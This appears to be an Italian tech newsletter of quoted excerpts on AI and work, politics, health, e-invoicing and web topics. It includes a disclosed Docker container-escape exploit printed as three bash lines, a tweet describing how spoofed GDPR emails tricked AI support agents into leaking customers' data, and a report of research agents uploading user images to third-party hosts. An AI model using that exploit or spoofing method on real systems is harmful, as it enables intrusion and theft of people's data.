I took a break this summer from paying attention to AI. I thought that when I came back, I'd feel left behind. But when I came back, I realized that nothing has really changed.

There's new models, there's new techniques, there's new agents. But in the end, making great products, increasing revenue, and building the business—it's still hard.

It's clear the tools are getting better, you can do more, you can do it faster. But I think the more important question is: are we actually making better things with these tools? Are our teams getting better with these tools?

I don't think that answer is clearly yes.

There's a lot of emphasis now on toolmaking and using tools and building systems. But I think in the end, as product people, our job is to make something great.

Lenny Rachitsky, CEO di Linear.

working at a higher level of abstraction has always required understanding the lower level ones, I don't think coding agents changes this

Thariq Shihipar, engineer @ Anthropic.

many people really loved the craft of writing software and realized that the quality of software products was a partial derivative of the quality of the codebase. people would go out of their way to only work for founders who understood this and made this core to their companies. [...]

In this new age of ai agents, I couldn't be more excited that I can build products faster and at a higher quality than I ever could before. [...] everyone has been given superpowers! [...]

on the flip side, it feels dissociative to know that the craft of writing software itself is dead, after spending close to two decades doing it. [...]

I've had my last debate over linting, my last conversation about how many weeks we should spend cleaning up tech debt, my last PR where I wrote every character by hand, and my last bug fix that took hours of reading through thousands of lines manually to find the one line with no tests that broke things.

and so I empathize with the mathematicians who have lost the craft of mathematics that defined their working hours, their passion, and for many, their identities.

yes, most of the work they did, as viewed by outsiders, was a means to an end: to get the solution! but they, like software engineers, have lost part of the craft that felt core to the work.

Ben Williams, founder di Hansel.so.

Il vantaggio è la scalabilità "infinita" (almeno in lettura). Questo sistema sostituirà Spokes, che invece richiede 5 fileserver assegnati a ogni repository (per ridondanza) che servono sia letture e scritture (con 3-phase commit) con grandi limitazioni di prestazioni nel caso di repository molto trafficate.

Connection-Allowlist: ("https://api.example.com/*" response-origin)

via Web Weekly 200

<meta name="viewport" content="width=device-width, initial-scale=1.0">

È un relitto del passato per supportare meglio il cambio orientamento su mobile, ma ora non è più utile.

via Web Weekly 200

• "AI tools have had a positive impact overall on my mental state" -> il 45% dice no
• "Which emotions best describe how you currently feel about the tech industry?" -> 52% exhausted

via Web Weekly 200

Well, it ain’t what it used to be. This year, we’re finding survey respondents are less happy in their work—the numbers are showing less happy folks and more unhappy ones. All that innovation and uncertainty can make it tough to feel comfortable in your job.

La fiducia negli output dell'AI è ancora fortemente dipendente dalla verifica dell'output ed è maggiore con task piccoli (per fortuna):

Per quantità di token:

Ovviamente fa differenza se un task richiede più o meno token (OpenAI dice spesso di essere più efficiente) e quale sia il margine sul prezzo API.

The future depends on wisdom that Silicon Valley lacks. Wisdom about how to handle dangerous technology and, more fundamentally, wisdom about what it means to care for people. This moment needs a degree of humility that isn’t natural for people who have succeeded through their extreme confidence.

David Robinson, ex safety @ OpenAI in I Quit OpenAI Because Its Culture Is Broken.

Questa cosa di occuparmi di Ucraina mi rende meno tollerante con le cose che ascolto in Italia. Prima di partire ho sentito un commentatore in tv dire che «dovremmo dare le armi all’Ucraina soltanto se accettasse di trattare». L’implicazione era che quei matti degli ucraini non vogliono negoziare la pace. Non c’era un contraddittorio in studio, quindi questa cosa è stata fatta passare come se fosse verosimile. È soltanto un esempio fra tanti.

Facciamolo qui su Outpost il contraddittorio. L’Ucraina soltanto quest’anno ha proposto alla Russia cinque cessate il fuoco: a marzo, aprile, maggio, giugno e settembre. Quattro sono stati respinti, l’unico che è stato accolto dai russi è stato quando c’erano gli inviati di Trump a Kyiv e valeva solo per Kyiv (del resto sarebbe stato imbarazzante se i russi avessero dronato per errore il genero di Donald Trump). Inoltre nel 2026 gli ucraini hanno proposto, di nuovo per cinque volte, un incontro in campo neutro tra il presidente Zelensky e Putin. Anche queste proposte sono state ignorate.

Mentre sto scrivendo queste righe un drone russo ha colpito una scuola a Kyiv, età degli studenti dai 7 ai 18 anni. Non si è fatto male nessuno perché tutti erano scesi con gli insegnanti nel rifugio. Guardo il video: il drone ha centrato la facciata della scuola. Dal punto di vista militare un bombardamento così non ha alcun senso. Persino i russi sanno che se ammazzano decine di bambini ucraini mentre sono nelle loro classi in un mattino chiaro di settembre non ottengono nulla se non reazioni inferocite. Ma anche se avessero colpito quella scuola per sbaglio, è ovvio che accettano senza farsi troppi problemi il rischio di far saltare in aria edifici pieni di civili.

Ieri, mercoledì 30 settembre, hanno lanciato contro le città ucraine 473 droni, ciascuno con la sua bella testata esplosiva da novanta chilogrammi.

Ho chiuso il paragrafo e sento un grosso botto, un missile della contraerea ucraina ha fatto esplodere in cielo un drone russo che stava attaccando la centrale termica Tets-5. Vabbè, ci siamo capiti, l’andazzo è questo.

Daniele Raineri in Outpost, dall'Ucraina.

Mi state dicendo che dipende da me? Mi state dicendo che se muoio è colpa mia? È perché non ho combattuto abbastanza, mi sono arresa? Ma a cosa, di grazia, mi sarei arresa? Alle mie cellule, al mio corpo, a me stessa? Come faccio a combattere contro me stessa? Che razza di guerra sarebbe quella di una persona contro una malattia potenzialmente mortale? Io, a mani nude, contro un cancro? Contro una malattia autoimmune, un virus letale? Io contro il morso di un serpente? Servirà un antidoto, contro il morso di un serpente, o no?

Pensate che il vaiolo sia stato debellato dalla forza del pensiero dei malati di vaiolo? Che si siano messi in cerchio e concentrati moltissimo? Che abbiano cantato una nenia apotropaica? Pensate che i bambini che morivano di polmonite o di un’infezione quando non esistevano gli antibiotici, quelli che a migliaia muoiono ancora oggi dove gli antibiotici non ci sono — nei Paesi poveri, nei Paesi in guerra, sotto embargo — muoiano perché non combattono abbastanza?

Cioè: chi muore è stato scarso in battaglia? I migliori vivono, i peggiori muoiono? Ma veramente? Non avete dunque mai visto nessuno affrontare una malattia? Perché questo si fa con le malattie: si affrontano. Ci si affida a chi sa cosa bisogna fare e lo si fa.

Dove si è perso, il bandolo di questo ragionamento elementare, mi domando. Quando è che abbiamo smesso di credere che a combattere le malattie sono i medici, la medicina, i farmaci, benissimo anche quelli alternativi se funzionano purché funzionino. Favolose le erbe o l’ipnosi, se bastano, ma quando non bastano servono penicillina e cortisone. Serve un intervento chirurgico e qualcuno che lo sappia fare. Serve un trapianto, se un organo non funziona più. Non combatti contro il tuo rene. Non stai in trincea contro il tuo pancreas.

L’unica battaglia da fare è una battaglia collettiva, non individuale: è la battaglia per pretendere che siano investite le massime risorse in ricerca scientifica. Che i ricercatori siano pagati dignitosamente, assunti e non graziati per decenni con borse di studio da poche centinaia di euro, che siano messi in condizione di lavorare in questo Paese e non di espatriare.

La battaglia da fare, non da soli ma tutti insieme, è quella per la sanità pubblica: che ci siano i soldi, quanti ne servono e non sempre meno, ogni anno di meno. Che ci siano abbastanza infermieri e operatori sanitari e locali e macchinari per rispondere al bisogno di tutti. Che non sia per i ricchi, la salute. Questa è la battaglia. È una battaglia politica che dovrebbe chiamare alla rivolta di popolo, ma invece.

Concita de Gregorio in Altro che guerrieri, quella per la salute è una battaglia collettiva, su la Repubblica.

Quando la realtà diventa minacciosa come in questo momento, l'esercizio più importante secondo me è porci nei confronti della realtà con un approccio che non sia rassegnato. Perché molto spesso, soprattutto tra le persone più giovani, ci consideriamo sfortunati perché siamo nati in un'epoca disgraziata, forse la peggiore epoca che ci sia. Facciamo dei discorsi parlando dei problemi che abbiamo nei quali infiliamo seriamente le parole "estinzione umana", fine del mondo — che si parli dell'emergenza climatica o dell'intelligenza artificiale — e abbiamo la percezione di vivere in un momento in cui alcune persone dicono "è irresponsabile fare i figli". Perché "come fai a mettere al mondo un bambino o una bambina in un mondo come questo", o "creare un nuovo essere che inquina ed emette missioni inquinanti"?

Se quello è l'approccio che abbiamo nei confronti della realtà, intanto siamo molto disinformati. Nemmeno negli scenari più catastrofici fatti dagli scienziati dell'IPCC, l'ente dell'ONU sul clima, si parla mai di estinzione umana, e nemmeno esiste la prospettiva che la vita media delle persone si accorci. L'emergenza climatica è gravissima e va affrontata, ma non ci estingueremo, non c'è l'apocalisse davanti a noi, non c'è la fine del mondo. Questo ci deve responsabilizzare, perché se io penso che il mondo sta finendo, quello è il pensiero più deresponsabilizzante che ci sia. Col cavolo che a quel punto chiudo il rubinetto quando mi lavo i denti o uso la cannuccia di carta, no? Non sono pronto a fare nessun sacrificio, se tanto andiamo verso l'apocalisse. Se tanto sono tutti marci e disonesti e tutti venduti, si vota per Trump — chi vuoi votare, se non c'è uno che sia meglio degli altri.

Se la linea che abbiamo è "il mondo non è mai andato peggio di così", quella è la ricetta per il disastro. Pensate chi è nato all'inizio del Novecento. Si è fatto, nell'arco dei primi 50 anni della sua vita, due guerre mondiali, cioè due guerre che in confronto a quelle nostre odierne, anche le peggiori, non sono niente, è quasi offensivo metterle a paragone. Due, non una, è finita una e poi ne è iniziata un'altra. In mezzo hanno avuto l'influenza spagnola, che in confronto la pandemia di COVID-19 era appunto un raffreddore. La crisi del '29, la più grave crisi economica della storia. Poi hanno compiuto 50 anni e sono morti perché quella era l'aspettativa di vita. No! In qualche caso sì, ma... noi facciamo a gara con questi?

Se siete delle donne, quando volevate nascere, qual era il mondo ideale, migliore di questo in cui nascere? Prima che il divorzio fosse legale in Italia? Prima che l'aborto fosse legale in Italia, cioè l'altro ieri? Se siete neri, volete giocare con la macchina del tempo? Secondo me no, il gioco "dove andreste con la macchina del tempo" lo possiamo fare noi bianchi privilegiati; un nero sta molto alla larga della macchina del tempo, perché se finisce nell'anno sbagliato — e l'anno sbagliato anche in questo caso forse è l'altro ieri — forse poi non torna nel suo presente. Semplicemente, quelle generazioni lì hanno avuto le loro grane, i loro problemi, a volte colossali e, malamente, certo, con tutti i loro limiti, certo, hanno provato a risolverli e andare avanti, e ci hanno consegnato un mondo che tutto sommato era migliore.

Questa è la missione che tocca a noi, noi che siamo vivi oggi. Non solo me, che ho 40 anni, chi ne ha 20, chi ne ha 60. Fare la nostra parte per risolvere i problemi che abbiamo noi adesso. Si può fare, anche per questo il libro si intitola "Come se ne esce", perché se no ci raccontiamo soltanto con narcisismo "ah, quanto siamo con la mano sulla fronte". A costo che cominciamo a occuparci della concretezza di uscirne davvero. Rifare le istituzioni, far funzionare le città. Uno pensa... all'ONU, cosa c'entro io con l'ONU? Candidati nel consiglio di zona del tuo quartiere, parti da lì. La democrazia si fa funzionare a partire da quella cosa lì. E così, forse, anche se non sono sicuro che ne usciamo, sono sicuro che se ne può uscire, passando da cose così piccole e cose grandi insieme.

Francesco Costa a Lezioni d'Autonomia.

I have retired from being a professional programmer. I think it was somewhere around 4 to 5 months ago, maybe March. I spent a quarter of a damn century chiseling code by hand and loving every moment of it. This is not something to look back upon with regret; this is something to look back upon with joy and accept that it is over.

Writing code by hand is no longer an economically productive enterprise for the vast majority of programmers working at the vast majority of companies. On the other side of that is a new career as a professional maker of things, steering intelligence that was only available in science fiction up until a few moments ago.

David Heinemeier Hansson (DHH), creatore di Ruby on Rails, durante il keynote Rails Word.

As part of our ongoing investigation, we have identified cases where agents in our research environment transmitted training and evaluation data while using third-party services. [...]

While the vast majority of the impacted training and evaluation data is not user-derived; we have identified 53 instances to date where user-provided images were posted to image-hosting sites as links that weren’t publicly listed. We have successfully worked with the hosting providers to remove most of this content and are continuing to work to remove the rest.

Examining the data, Waymo said it found:

• 82 percent reduction in injury-causing crashes compared to human drivers
• 95 percent fewer crashes causing serious injury or worse
• 93 percent fewer pedestrian crashes resulting in injuries
• 86 percent fewer cyclist crashes resulting in injuries
• 82 percent fewer motorcycle crashes resulting in injuries

Quindi per aggiungere delle feature a un prodotto si sospende la gestione ordinaria del pronto soccorso.

L'aggiornamento programmato consentirà di introdurre importanti migliorie e adeguamenti al sistema, tra cui l'implementazione del monitoraggio della violenza di genere, la gestione automatizzata delle chiamate ai monitor, l'ottimizzazione delle registrazioni dei trasferimenti e del triage oltre all'aggiornamento delle codifiche di diagnosi. Al termine dei lavori, le funzionalità della piattaforma saranno integralmente ripristinate.

Sempre lo stesso discorso sul zero downtime fatto in #607.

Prima Assicurazioni si occupa di insurtech, ovvero la gestione online delle assicurazioni. Nata a Milano nel 2014, è attiva in Italia, Regno Unito e Spagna; dal 2025 è controllata dal gruppo assicurativo Axa. Namirial, invece, è stata fondata nel 2000 a Senigallia, nelle Marche, e si è specializzata nei servizi per gestire e autenticare le transazioni finanziarie digitali, sviluppando anche sistemi di verifica dell’identità online. Oggi è controllata dai fondi internazionali Bain Capital, PSG Equity e Ambienta SGR.

I am done with this shit. It is over. The state of engineering right now is horrible. It has been half a month since I started a new role at a big company. Nobody knows anything here. The specs, code, tests, PRDs, tickets, resolution of those tickets, reports, etc., everything is made by Claude Code. Nobody on my team likes this. They are being forced to ship as much as they can. I have heard multiple times from higher management that pushing code is not a bottleneck, so why are we slow? People are working 12 to 13 hours a day just to press enter. Nobody is reading anything. Humans in corporate are doing nothing on their own. Everyone, literally everyone, from an L1 to an L7 engineer here is doing the same thing. Talk to Claude. There is no sense of victory. Nobody is resolving bugs. In reality, nobody is thinking anymore. Everything is done by LLMs. It is so soul-sucking. I would not mind it, to be honest, if we were at least given the time to check out the code and see what is going where. But no, the goal is to just ship. No matter what happens.

(@v0xium)

I’m slowly starting to hate AI code review.

Massive amounts of nitpicking and an ungodly amount of corner-case defensive programming. After a few rounds the intent of the code is lost under mountains of extra code forced by the reviewer.

I’m starting to be more agressive with implementer agents pushing back heavily for the reviewer agents to prove why their nitpick will make the code better, only for the reviewers to backtrack in frenzy. SO WHY DID YOU RAISE THIS IN THE FIRST PLACE?

All this because I still require that „this code must be readable and easily understandable”

(@marcinbunsch)

Il problema maggiore delle carceri italiane non riguarda chi ci sta dentro, ma chi ne sta fuori e continua a proporle come strumento di riduzione dei pericoli per la comunità quando invece ne sono un fattore di conservazione, dei pericoli, e di aumento. Come dice ogni esperto di criminalità, e persino diversi direttori e direttrici di carceri, le carceri producono criminalità e contribuiscono solo in rare e quasi sempre fortuite occasioni a un "reinserimento" delle persone, con risultati di deterrenza limitati a quote assai parziali dei reati. L'attuale uso delle carceri crea pericolo, per "i cittadini", non sicurezza.

Luca Sofri nella newsletter Charlie del 13 settembre 2026.

We escaped Docker's hypervisor with three lines of bash. CVE-2026-77179: A container gets complete read and write access to the host filesystem.

When you mount a folder into a container, Docker's VMM uses virtio-fs, and the file server runs on the host.

Because of a TOCTOU bug, if a container opens a file, deletes it while holding its file handle open, and replaces the parent folder with a symlink, the kernel will follow the symlink to anywhere on the host.

mkdir pv && : > pv/.canary && exec 9< pv/.canary
rm pv/.canary; rmdir pv; ln -s /Users/Shared pv
echo CONFIRMED > /proc/self/fd/9

One of my most successful life-hacks is to avoid people I don’t like or don’t trust. I decline to interact with them socially, and make a deliberate effort to avoid working with them too, even if they are doing much that is beneficial. I feel that hanging out with pleasant, capable people, the people with integrity, has made my life a far better one.

Martin Fowler in I don't like LLMS.

• Judgment: is an approach the right one, or is another more optimal? Should a feature be shipped or binned?
• Prioritization: what’s the next most important thing to work on and what is not worth doing, right now?
• Agency: the best engineers relentlessly come up with ideas and parallelize with agents as much as possible without being prompted.
• Taste: what does “great” actually look like? Engineers with good taste produce standout artifacts in functionality, architecture, design, etc.

Mi viene in mente questo thread Twitter dove Gergely Orosz argomenta come tirare giù i sistemi per ore, spesso di notte, è un forte segnale di scarsa cultura e maturità ingegneristiche. Si finisce per considerare "eroico" il lavoro degli sviluppatori e degli ingegneri che stanno svegli la notte, quando in realtà non è una buona pratica perché queste persone non imparano niente (e non ci si prende mai la briga di mirare a manutenzioni e migrazioni zero downtime e safe) e ci rimettono comunque inutilmente i clienti.

Il blocco di un firewall è un evento raro ma può accadere. Ripristinare un sistema cosi complesso in un'ora (con la necessità di reinserire migliaia di password di accesso), sottolinea Trentino digitale, è un successo reso possibile dalla preparazione professionale dell'azienda e dei suoi tecnici.

• Technology and digital services: bit, beta, cart, demo, lab, vps, sito
• Trust Services: pec, rem, sign
• Sector verticals: aid, bnb, gaming
• Everyday language and universal terms: all, ask, ciao, daily, easy, fix, gen, genius, hello, hola, human, kit, mars, max, moon, tag, tex, zzz
• Positive and expressive terms: happy, omg, pop, super, yes
• Geographic identity: roma
• Health and wellness: gym, zen

Durante il round precedente (2012 o giù di lì) aveva ottenuto la TLD .cloud.

Le grandi imprese e le imprese di medie dimensioni, inoltre, hanno anche l’obbligo di emettere le loro fatture in formato elettronico. Obbligo che per le piccole e microimprese scatterà dal 1° settembre 2027.

L'architettura del sistema è diversa da quella italiana:

Rispetto all’Italia, dove l’infrastruttura che permette la gestione delle e-fatture, il cosiddetto Sistema di interscambio, è unico ed è gestito dall’Agenzia delle Entrate nazionale, la Francia ha deciso di affidare agli operatori privati la piattaforma tecnologica per lo scambio delle e-fatture e dei relativi dati. La DGFiP mantiene il controllo regolamentare e informativo del sistema e, per garantire la dovuta trasparenza, ha istituito nel settembre del 2025 un Annuaire de la facturation électronique. Si tratta di un registro centrale che permette di sapere, per ciascuna impresa, quale piattaforma gestisce la sua fatturazione e quali sono gli indirizzi elettronici di fatturazione.

Dal 2030 sarà obbligatoria in tutti gli stati membri dell'UE ed entro il 2035 i sistemi andranno armonizzati.

The better these tools become at resolving routine incidents, the less practice human responders will get. And when an ambiguous, high-severity incident comes in that automation cannot solve, responding engineers will be in trouble.

These AI-assisted incident response tools, more commonly called “AI SREs” – a term I don’t particularly like – are fantastic in many ways. They feel especially magical when they handle a routine incident at night and you don’t have to wake up for a capacity issue.

The problem is that routine incidents are also how responders “safely” develop an intuition for how their systems behave and fail. When AI runs into a hard, never-seen-before incident it cannot solve, engineers will have to take over with less practice than they would have had before.

Human-factors researcher Lisanne Bainbridge described this paradox in her famous 1983 paper, The Ironies of Automation. She explained that automation reduces operators’ opportunities to practice routine work while leaving them responsible for new and abnormal situations. She argues that, therefore, operators need to be more skilled and receive even more training than before automation.

In the years to come, I predict that the average MTTR for most incidents will go down – thanks to AI-assisted incident response – but that the resolution time will shoot up for complex incidents because incident responders lost touch with their system and are struggling to investigate.

Sylvain Kalache in AI handles incidents, engineers lose touch with their systems.

Finally realized why it’s so exhausting and stressful to work with AI agents 8h a day.

When delegating a task, you want to be assured it’s off your plate and you can forget about it, knowing it will be done completely and correctly. AI doesn’t give you that: you need to check it’s doing the right thing, it’s not forgetting anything, not taking short cuts etc.

So it adds to your mental load, rather than removing from it.

Gunnar Morling, software engineer.

[...] gli stipendi dei politici devono essere calcolati considerando il mercato del lavoro, per evitare che le persone competenti «non siano scoraggiate dal farsi avanti per guidare il paese». Allo stesso tempo non devono essere troppo alti, per riflettere un certo spirito di servizio, e soprattutto devono essere trasparenti e legati ai risultati del singolo ministro e del paese.

(Il Post)

Top 5 attuale:

How much controversy can there be around dark/light mode toggles? Turns out, a lot. Lea Verou kicked off a whole thing. People have opinions on these little two- or three-state toggles.

So, Lea started the discussion by arguing that website visitors don't care about dark mode toggles (I agree) and that they only reach for them when something's off.

A dark mode toggle is a temporary comfort adjustment. [...] It’s situational, it’s immediate, and it’s usually about the environment you’re in rather than a considered long-term stance on color schemes.

From there, she argues that a dark mode toggle should only have two options: the system preference (shown as dark or light) and the opposite. That's smart. Whenever things are different from the system, you can store the preference that's not the system default. If it matches their general settings, there's nothing to do, and if you go back to the system setting, you clear the preference. This approach seems reasonable to me at first sight.

Bramus disagreed, though.

When building these types of control, I think that one of the main goals here should be to keep things predictable for users.

And well, that's a strong point, too, I'd say. A little sun icon that actually means "system preferences" is a bit tricky to understand if you really care about light and dark modes. I tend to agree here, and it seems like a "Agree to disagree." case, but the whole community had feelings about this. Lea shared more feedback in a follow-up post. And it closed with a banger:

And then it dawned on me: all these persistent dark mode toggles I had seen, literally all of them have been on developer-facing sites!

And I think that's what I came to conclude, too. It's an interesting discussion to have but I really don't think normies care too much about two, three, or no dark/light mode states. Things can always be better and smoother, but for this case I think it's just us nerds who love discussing these things. 😅

how i hacked 320+ companies that replaced their cs team with "smart" ai agents:

1. drafted a gdpr request to support@
2. changed the FROM header from my e-mail to yours (spoofing)
3. put myself in CC
4. ai agent responds with YOUR data to BOTH of us 😈

Qui il tweet e qui l'articolo.

Se fossero nate a San Francisco le chiameremmo ✨decacorn✨, cioè società leggendarie valutate più di dieci miliardi. Siccome sono nate a Pesaro e a Lodi, le chiamiamo gestionali.

Giulio Michelon in Esistono i decacorn in Italia?

La banca, a cui il collettivo si affida dal 2018 per il proprio conto corrente, scrive che si trovano costretti a sospendere il conto per rispettare la lista sanzionatoria OFAC del governo statunitense, che dovrebbe essere riservata all'antiterrorismo ma che in questo caso viene usata per fini politici.

La parte notevole è che la banca sta chiedendo pareri da tutte le parti per capire se c'è un modo per non rispettare questa decisione del governo statunitense, ma che è forte il rischio di creare un danno agli altri clienti della banca vista la totale dipendenza del sistema dei pagamenti dagli Stati Uniti:

[...] Una banca italiana che mantenga rapporti con un soggetto inserito nelle liste OFAC, potrebbe essere oggetto di “sanzioni secondarie” che implicano la cessazione di ogni servizio erogato da intermediari statunitensi: questo implicherebbe per tutti i clienti di Banca Etica l’impossibilità di utilizzare carte di credito e carte di debito (che oggi dipendono da un sostanziale monopolio di operatori USA) e l’impossibilità di effettuare pagamenti in aree extra-euro per i quali sono necessari intermediari finanziari quasi sempre statunitensi.

• Il fallimento digitale della sanità del Trentino
• Come è messa Trentino Digitale

Gli italiani invocano spesso rivolgimenti, pensano di risolvere in velleitari disegni di rivoluzione i loro sbotti di indignazione, si lagnano che mai nulla cambia per davvero: ma al dunque la stasi ci conforta, l’accidia vince ogni slancio incendiario. [...]

Ci lamentiamo, vomitiamo bile sui social ma poi abbiamo paura che le cose stiano cambiando veramente; il futuro ci spaventa e di fronte a questo spavento, di fronte al turbinare vorticoso della storia, chiusi nelle casematte del nostro rancore cerchiamo un appiglio solido in ciò che non muta, che non si corrode: Dio, patria, famiglia, cucina tipica e un po’ di sana evasione fiscale.

Valerio Valentini in L’irrefrenabile immobilismo di Giorgia Meloni.

To bring these breakthroughs out of the lab and into the real world, we’re integrating WeatherNext 3 across Google’s core ecosystem and beyond:

• High-resolution forecast data: We’re making global weather predictions, updated hourly and ready to integrate into your workflows with no model setup required. This enables researchers, developers and businesses to query the data in BigQuery and Earth Engine, or bulk-download from Google Cloud Storage.
• Available globally: WeatherNext 3 will begin powering weather experiences within Google Search, Gemini app, Google Maps, Google Maps Platform Weather API, and Google Earth Engine starting today. The update dramatically improves longer term forecasts. When planning a day or more ahead, people will see up to 50% more accurate precipitation forecasts — with the greatest improvements in regions where forecasts have historically been less reliable. So if you’re packing for a weekend trip or deciding the best day for an outdoor activity, you’ll now get more accurate predictions to help you plan.

I dati si possono consultare su mappa qui nel Weather Lab.

AI enables low-quality results, encourages lack of discipline and skill under the excuse of efficiency, it makes people use their brains less, and personally it just kills all the fun.

Ilya Miskov, designer.